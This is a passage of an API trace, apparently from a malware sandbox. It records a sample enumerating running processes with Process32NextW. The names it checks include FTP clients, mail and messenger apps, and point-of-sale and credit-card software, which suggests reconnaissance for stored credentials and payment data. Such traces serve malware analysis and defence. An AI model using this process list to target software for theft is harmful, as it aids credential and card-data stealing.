dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.276] lstrlenW (lpString="svchost.exe") returned 11 [0041.276] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.277] lstrlenW (lpString="svchost.exe") returned 11 [0041.277] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.277] lstrlenW (lpString="svchost.exe") returned 11 [0041.277] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.278] lstrlenW (lpString="audiodg.exe") returned 11 [0041.278] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.278] lstrlenW (lpString="svchost.exe") returned 11 [0041.278] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.279] lstrlenW (lpString="svchost.exe") returned 11 [0041.279] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.279] lstrlenW (lpString="dwm.exe") returned 7 [0041.280] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.280] lstrlenW (lpString="explorer.exe") returned 12 [0041.280] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.281] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.281] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.281] lstrlenW (lpString="taskhost.exe") returned 12 [0041.281] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.282] lstrlenW (lpString="svchost.exe") returned 11 [0041.282] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.282] lstrlenW (lpString="taskeng.exe") returned 11 [0041.282] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.283] lstrlenW (lpString="taskhost.exe") returned 12 [0041.283] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.283] lstrlenW (lpString="svchost.exe") returned 11 [0041.283] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0041.284] lstrlenW (lpString="sppsvc.exe") returned 10 [0041.284] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.284] lstrlenW (lpString="svchost.exe") returned 11 [0041.284] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0041.285] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0041.285] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0041.285] lstrlenW (lpString="smsvhskate.exe") returned 14 [0041.285] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0041.286] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0041.286] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0041.287] lstrlenW (lpString="patient latin.exe") returned 17 [0041.287] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0041.287] lstrlenW (lpString="barbados.exe") returned 12 [0041.288] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0041.288] lstrlenW (lpString="otthose.exe") returned 11 [0041.288] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0041.289] lstrlenW (lpString="suburban.exe") returned 12 [0041.289] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0041.289] lstrlenW (lpString="examination.exe") returned 15 [0041.290] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0041.290] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0041.290] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0041.291] lstrlenW (lpString="madrid.exe") returned 10 [0041.291] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0041.291] lstrlenW (lpString="measurerush.exe") returned 15 [0041.292] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0041.292] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0041.292] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0041.293] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0041.293] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0041.293] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0041.294] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0041.294] lstrlenW (lpString="jessefun.exe") returned 12 [0041.294] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0041.295] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0041.295] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0041.761] lstrlenW (lpString="sellers.exe") returned 11 [0041.761] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0041.764] lstrlenW (lpString="gras hair.exe") returned 13 [0041.764] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0041.764] lstrlenW (lpString="acquisitions.exe") returned 16 [0041.764] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0041.765] lstrlenW (lpString="starscondos.exe") returned 15 [0041.765] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0041.765] lstrlenW (lpString="3dftp.exe") returned 9 [0041.765] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0041.766] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0041.766] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0041.766] lstrlenW (lpString="alftp.exe") returned 9 [0041.767] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0041.767] lstrlenW (lpString="barca.exe") returned 9 [0041.767] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0041.767] lstrlenW (lpString="bitkinex.exe") returned 12 [0041.768] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0041.768] lstrlenW (lpString="coreftp.exe") returned 11 [0041.768] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0041.769] lstrlenW (lpString="far.exe") returned 7 [0041.769] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0041.769] lstrlenW (lpString="filezilla.exe") returned 13 [0041.769] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0041.770] lstrlenW (lpString="flashfxp.exe") returned 12 [0041.770] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0041.770] lstrlenW (lpString="fling.exe") returned 9 [0041.770] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0041.771] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0041.771] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0041.772] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0041.772] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0041.772] lstrlenW (lpString="icq.exe") returned 7 [0041.772] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0041.773] lstrlenW (lpString="leechftp.exe") returned 12 [0041.773] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0041.774] lstrlenW (lpString="ncftp.exe") returned 9 [0041.774] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0041.775] lstrlenW (lpString="notepad.exe") returned 11 [0041.775] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0041.776] lstrlenW (lpString="operamail.exe") returned 13 [0041.776] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0041.776] lstrlenW (lpString="pidgin.exe") returned 10 [0041.776] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0041.777] lstrlenW (lpString="scriptftp.exe") returned 13 [0041.777] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0041.778] lstrlenW (lpString="skype.exe") returned 9 [0041.778] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0041.779] lstrlenW (lpString="smartftp.exe") returned 12 [0041.779] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0041.780] lstrlenW (lpString="thunderbird.exe") returned 15 [0041.780] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0041.780] lstrlenW (lpString="totalcmd.exe") returned 12 [0041.780] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0041.781] lstrlenW (lpString="trillian.exe") returned 12 [0041.781] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0041.782] lstrlenW (lpString="webdrive.exe") returned 12 [0041.782] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0041.783] lstrlenW (lpString="whatsapp.exe") returned 12 [0041.783] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0041.783] lstrlenW (lpString="winscp.exe") returned 10 [0041.783] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0041.784] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0041.784] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0041.785] lstrlenW (lpString="active-charge.exe") returned 17 [0041.785] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0041.785] lstrlenW (lpString="accupos.exe") returned 11 [0041.785] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0041.786] lstrlenW (lpString="afr38.exe") returned 9 [0041.786] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0041.787] lstrlenW (lpString="aldelo.exe") returned 10 [0041.787] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0041.788] lstrlenW (lpString="ccv_server.exe") returned 14 [0041.788] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0041.788] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0041.788] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0041.789] lstrlenW (lpString="creditservice.exe") returned 17 [0041.789] Process32NextW (in: hSnapshot=0x1b0, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0041.790] lstrlenW (lpString="edcsvr.exe") returned 10 [0041.790] Process32NextW (in: hSnapshot=0x1b0, 